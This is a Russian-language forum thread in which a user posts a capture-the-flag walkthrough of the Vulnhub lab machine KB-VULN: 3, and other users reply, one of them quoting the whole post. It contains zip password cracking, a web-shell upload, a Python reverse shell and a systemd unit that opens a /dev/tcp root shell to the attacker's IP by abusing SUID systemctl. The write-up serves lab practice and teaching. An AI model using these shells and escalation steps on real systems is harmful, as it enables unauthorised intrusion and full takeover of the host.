PDA

Просмотр полной версии : Writeup KB-VULN: 3 Vulnhub - небезопасные сервисы


INPC
05.12.2021, 21:32
https://forum.antichat.xyz/attachments/29091331/img_25692d28e7.png

Приветствую!

Это прохождение третьей машины из серии KB-VULN. Прохождение предыдущих машин можно посмотреть тут 1 (https://forum.antichat.xyz/threads/1639038/) и 2 (https://forum.antichat.xyz/threads/1639051/).

Найти и скачать коробку можно тутKB-VULN: 3

Исходные данные:
Атакуемая машина под управлением Ubuntu linux, на которой есть 2 флага user.txt и root.txt.
Основная машина (с которой проводится атака) под управлением ОС Kali Linux
Задача: получить 2 флага с целевой машины (user.txt и root.txt) и права пользователя root.

Как всегда, сначала найдем атакуемую машину в сети при помощи команды:


~$ sudo netdiscover


В результате видим нужный ip:

192.168.3.142


Теперь просканируем машину nmap'ом:


~$ nmap -A -p- -v 192.168.3.142


https://forum.antichat.xyz/attachments/29091331/1638714983355.png

Видим 3 сервиса: 22 порт - ssh, 80 порт - http и самба (139, 445 порты).
Первым делом стоит проверить самбу, вдруг там есть что-то общедоступное:


~$ smbmap -H 192.168.3.142


https://forum.antichat.xyz/attachments/29091331/1638715344531.png

Видим директорию доступную для чтения и записи - Files, с комментарием: HACK ME ... Этот вызов оказался проще, чем мне казалось, но все по порядку. Для начала следует подключиться к этому каталогу и посмотреть, что в нем (пароль оставляем пустым, просто жмем ENTER ):


~$ smbclient //192.168.3.142/Files


https://forum.antichat.xyz/attachments/29091331/1638715634391.png

В каталоге Files был найден всего 1 архив, который и был стянут, однако при распаковке архива оказалось, что он требует пароль:

https://forum.antichat.xyz/attachments/29091331/1638715921556.png

Если же попробовать распаковать архив с пустым паролем, распакуется только древо каталогов "sitemagic", в котором нет ни одного файла (и в принципе нет особо полезной информации).
Попробуем забрутить пароль со стандартным словарем:


~$ fcrackzip -u -D -p /home/kali/Lab/rockyou.txt /home/kali/Lab/website.zip -v


https://forum.antichat.xyz/attachments/29091331/1638716160315.png

И да, пароль найден, теперь спокойно распаковываем архив и видим интересный файл README.txt, в котором есть логин и пароль от админки сайта:

https://forum.antichat.xyz/attachments/29091331/1638716513394.png

Что ж, пойдем смотреть. А перейдя на сайт (http://192.168.3.142) видим очень красивую страницу 404:

https://forum.antichat.xyz/attachments/29091331/1638714948638.png

Нужно подкорректировать файл hosts:


~$ sudo echo "192.168.3.142 kb.vuln" >> /etc/hosts


И, перейдя на сайт (http://kb.vuln/) видим стандартную приветственную страницу apache, теперь можно запустить перебор страниц на этом сайте, а можно найти админскую панель научным методом тыка, перейдя на страницу http://kb.vuln/admin

https://forum.antichat.xyz/attachments/29091331/1638717837671.png

Зайдя в админку с логином и паролем из файла README.txt (admin::jesse) видно, что есть возможность загружать файлы на сервер, попробуем загрузить самый простой php-шелл следующего содержания:





https://forum.antichat.xyz/attachments/29091331/1638718172621.png

Я загрузил файл в папку files/editor . Теперь попробуем его использовать (перейдем к этому файлу и передадим команду ls ):


http://kb.vuln/files/editor/shell.php?cmd=ls


https://forum.antichat.xyz/attachments/29091331/1638718389060.png

Окей, теперь попробуем загрузить туда же python revers-shell и запустить его.
Содержимое файла rev.py (этот код будет выполняться на стороне сервера. Тут все просто, импортируются стандартные модули и инициируется подключение к основное машине, через порт 1337) :

Python:



import
os
,
socket
,
subprocess
s
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_STREAM
)
s
.
connect
(
(
"192.168.3.131"
,
1337
)
)
os
.
dup2
(
s
.
fileno
(
)
,
0
)
os
.
dup2
(
s
.
fileno
(
)
,
1
)
os
.
dup2
(
s
.
fileno
(
)
,
2
)
p
=
subprocess
.
call
(
[
"/bin/bash"
,
"-i"
]
)


Загрузив файл, проверим, что он есть:

https://forum.antichat.xyz/attachments/29091331/1638719697221.png

Теперь запустим прослушиватель на основной машине:


~$ nc -lnvp 1337


Выдадим права на запуск файлу rev.py на сервере и запустим его:


http://kb.vuln/files/editor/shell.php?cmd=chmod +x rev.py



http://kb.vuln/files/editor/shell.php?cmd=python rev.py


https://forum.antichat.xyz/attachments/29091331/1638722176339.png

Мы внутри, пойдем, попробуем прочитать пользовательский флаг:


www-data@kb-server:/var/www/html/sitemagic/files/editor$ cat /home/heisenberg/user.txt


6346c6d19751f1a3195f1e4b4b609544

https://forum.antichat.xyz/attachments/29091331/1638722365164.png

Пользовательский флаг есть, время получать рут. И тут я завис на продолжительное время.... Просмотр истории команд пользователя ничего не дал, поиск паролей в файловой системе - тоже, из-под судо, разумеется тоже ничего сделать нельзя. По итогу пароль пользователя я так и не нашел, и доступ к учетной записи heisenberg я тоже не получил, но зато поиск фалов, исполняемых от рута показал bin/systemctl


www-data@kb-server:/$ find / -perm -u=s -type f 2>/dev/null


https://forum.antichat.xyz/attachments/29091331/1638723112818.png

Этот вектор атаки мне уже знаком, поэтому я и выбрал его. Все, что нужно - добавить свой сервис, который будет подключаться к основной машине, давая шелл. Подготовленный файл toor.service выглядит вот так:

Bash:



[
Unit
]
Description
=
Whatever
[
Service
]
Type
=
simple
User
=
root
ExecStart
=
/bin/bash -c
"/bin/bash -i >& /dev/tcp/192.168.3.131/4444 0>&1"
[
Install
]
WantedBy
=
multi-user.target


Теперь запустим веб-сервер на основной машине и стянем сервис на целевую машину:


~$ sudo python -m SimpleHTTPServer 80



www-data@kb-server:/dev/shm$ wget http://192.168.3.131/toor.service


https://forum.antichat.xyz/attachments/29091331/1638723583705.png

Предварительно запустим прослушиватель на основной машине:


~$ nc -lnvp 4444


Осталось запустить сервис:


www-data@kb-server:/dev/shm$ cd /etc/systemd/system/multi-user.target.wants



www-data@kb-server:/etc/systemd/system/multi-user.target.wants$ systemctl enable /dev/shm/toor.service


/dev/shm/toor.service.
Created symlink /etc/systemd/system/toor.service -> /dev/shm/toor.service.


www-data@kb-server:/etc/systemd/system/multi-user.target.wants$ systemctl start toor


<ystem/multi-user.target.wants$ systemctl start toor

https://forum.antichat.xyz/attachments/29091331/1638723871708.png

I'AM ROOT !!! Рут получен, пошли, заберем заслуженный рут-флаг:

https://forum.antichat.xyz/attachments/29091331/1638723987161.png

Сам флаг- 49360ba4cbe27a1b900df25b247315d7

На этом все, в серии машин KB-VULN осталась еще одна машина KB:VULN-FINAL, но выкладывать её прохождение я уже не буду, как и прохождение других машин, так-как эти врайтапы, видимо вообще никому не интересны, что очень печально.

Ну и как всегда, если кто-то нашел другой способ прохождения данный коробки, пожалуйста поделитесь в комментариях, или в личку.

Большое спасибо всем, кто дочитал этот врайтап до конца.

Treangl
06.12.2021, 10:08
Что значит "никому не интересно"? Очень интересно новичкам, которым важно понять направление, ход размышлений, который приводит к определенному порядку действий. Если статьи не вызвали мгновенный взрыв аплодисментов, это не значит, что они никому не интересны не будут читаться. Бороздя просторы интернета и, в частности, форума Antichat, часто находишь статьи, написанные уже давно, но актуальные для прочтения в настоящий момент. И, к тому же, не все читатели оставляют отзывы. Да, я тоже после прочтения не побегу решать упомянутую машинку. И навряд ли оставил бы комментарий, если бы не последний абзац статьи. Но, может, Ваш опыт поможет мне в решении других задач.
Спасибо за Вашу работу. Еще не один человек помянет Вас добрым словом, пусть и про себя.

INPC
06.12.2021, 10:13
Спасибо за оценку и отзыв, очень мотивирует продолжать подобную деятельность)

Сергей Сталь
07.12.2021, 10:38
Молодца, отличная статья! И исходники для тех кто захочет повторить есть, шикарно.
Ждем следующую статью!

Qulan
07.12.2021, 12:14
Неплохо все расписано. Я даже для себя кое что взял! Продолжай писать, все хорошо получается)))

Nick Nickovich
21.01.2022, 10:06
INPC сказал(а):

Приветствую!

Это прохождение третьей машины из серии KB-VULN. Прохождение предыдущих машин можно посмотреть тут 1 (https://forum.antichat.xyz/threads/1639038/) и 2 (https://forum.antichat.xyz/threads/1639051/).

Найти и скачать коробку можно тутKB-VULN: 3

Исходные данные:
Атакуемая машина под управлением Ubuntu linux, на которой есть 2 флага user.txt и root.txt.
Основная машина (с которой проводится атака) под управлением ОС Kali Linux
Задача: получить 2 флага с целевой машины (user.txt и root.txt) и права пользователя root.

Как всегда, сначала найдем атакуемую машину в сети при помощи команды:


~$ sudo netdiscover


В результате видим нужный ip:

192.168.3.142


Теперь просканируем машину nmap'ом:


~$ nmap -A -p- -v 192.168.3.142


Видим 3 сервиса: 22 порт - ssh, 80 порт - http и самба (139, 445 порты).
Первым делом стоит проверить самбу, вдруг там есть что-то общедоступное:


~$ smbmap -H 192.168.3.142


Видим директорию доступную для чтения и записи - Files, с комментарием: HACK ME ... Этот вызов оказался проще, чем мне казалось, но все по порядку. Для начала следует подключиться к этому каталогу и посмотреть, что в нем (пароль оставляем пустым, просто жмем ENTER ):


~$ smbclient //192.168.3.142/Files


В каталоге Files был найден всего 1 архив, который и был стянут, однако при распаковке архива оказалось, что он требует пароль:

Если же попробовать распаковать архив с пустым паролем, распакуется только древо каталогов "sitemagic", в котором нет ни одного файла (и в принципе нет особо полезной информации).
Попробуем забрутить пароль со стандартным словарем:


~$ fcrackzip -u -D -p /home/kali/Lab/rockyou.txt /home/kali/Lab/website.zip -v


И да, пароль найден, теперь спокойно распаковываем архив и видим интересный файл README.txt, в котором есть логин и пароль от админки сайта:

Что ж, пойдем смотреть. А перейдя на сайт (http://192.168.3.142) видим очень красивую страницу 404:

Нужно подкорректировать файл hosts:


~$ sudo echo "192.168.3.142 kb.vuln" >> /etc/hosts


И, перейдя на сайт (http://kb.vuln/) видим стандартную приветственную страницу apache, теперь можно запустить перебор страниц на этом сайте, а можно найти админскую панель научным методом тыка, перейдя на страницу http://kb.vuln/admin

Зайдя в админку с логином и паролем из файла README.txt (admin::jesse) видно, что есть возможность загружать файлы на сервер, попробуем загрузить самый простой php-шелл следующего содержания:





Я загрузил файл в папку files/editor . Теперь попробуем его использовать (перейдем к этому файлу и передадим команду ls ):


http://kb.vuln/files/editor/shell.php?cmd=ls


Окей, теперь попробуем загрузить туда же python revers-shell и запустить его.
Содержимое файла rev.py (этот код будет выполняться на стороне сервера. Тут все просто, импортируются стандартные модули и инициируется подключение к основное машине, через порт 1337) :

Python:



import
os
,
socket
,
subprocess
s
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_STREAM
)
s
.
connect
(
(
"192.168.3.131"
,
1337
)
)
os
.
dup2
(
s
.
fileno
(
)
,
0
)
os
.
dup2
(
s
.
fileno
(
)
,
1
)
os
.
dup2
(
s
.
fileno
(
)
,
2
)
p
=
subprocess
.
call
(
[
"/bin/bash"
,
"-i"
]
)


Загрузив файл, проверим, что он есть:

Теперь запустим прослушиватель на основной машине:


~$ nc -lnvp 1337


Выдадим права на запуск файлу rev.py на сервере и запустим его:


http://kb.vuln/files/editor/shell.php?cmd=chmod +x rev.py



http://kb.vuln/files/editor/shell.php?cmd=python rev.py


Мы внутри, пойдем, попробуем прочитать пользовательский флаг:


www-data@kb-server:/var/www/html/sitemagic/files/editor$ cat /home/heisenberg/user.txt


6346c6d19751f1a3195f1e4b4b609544

Пользовательский флаг есть, время получать рут. И тут я завис на продолжительное время.... Просмотр истории команд пользователя ничего не дал, поиск паролей в файловой системе - тоже, из-под судо, разумеется тоже ничего сделать нельзя. По итогу пароль пользователя я так и не нашел, и доступ к учетной записи heisenberg я тоже не получил, но зато поиск фалов, исполняемых от рута показал bin/systemctl


www-data@kb-server:/$ find / -perm -u=s -type f 2>/dev/null


Этот вектор атаки мне уже знаком, поэтому я и выбрал его. Все, что нужно - добавить свой сервис, который будет подключаться к основной машине, давая шелл. Подготовленный файл toor.service выглядит вот так:

Bash:



[
Unit
]
Description
=
Whatever
[
Service
]
Type
=
simple
User
=
root
ExecStart
=
/bin/bash -c
"/bin/bash -i >& /dev/tcp/192.168.3.131/4444 0>&1"
[
Install
]
WantedBy
=
multi-user.target


Теперь запустим веб-сервер на основной машине и стянем сервис на целевую машину:


~$ sudo python -m SimpleHTTPServer 80



www-data@kb-server:/dev/shm$ wget http://192.168.3.131/toor.service


Предварительно запустим прослушиватель на основной машине:


~$ nc -lnvp 4444


Осталось запустить сервис:


www-data@kb-server:/dev/shm$ cd /etc/systemd/system/multi-user.target.wants



www-data@kb-server:/etc/systemd/system/multi-user.target.wants$ systemctl enable /dev/shm/toor.service


/dev/shm/toor.service.
Created symlink /etc/systemd/system/toor.service -> /dev/shm/toor.service.


www-data@kb-server:/etc/systemd/system/multi-user.target.wants$ systemctl start toor


<ystem/multi-user.target.wants$ systemctl start toor

I'AM ROOT !!! Рут получен, пошли, заберем заслуженный рут-флаг:

Сам флаг- 49360ba4cbe27a1b900df25b247315d7

На этом все, в серии машин KB-VULN осталась еще одна машина KB:VULN-FINAL, но выкладывать её прохождение я уже не буду, как и прохождение других машин, так-как эти врайтапы, видимо вообще никому не интересны, что очень печально.

Ну и как всегда, если кто-то нашел другой способ прохождения данный коробки, пожалуйста поделитесь в комментариях, или в личку.

Большое спасибо всем, кто дочитал этот врайтап до конца.


Все очень достойно особенно для новичков я тоже некоторые техники ваши модифицирую! Ваш контент очень важен он учить думать и размышлять как безопастник

Ivan1111
13.03.2023, 14:51
Когда открываю коробку на виртуалке, то просит kb-server login и password соответсвенно. Не подскажете креды?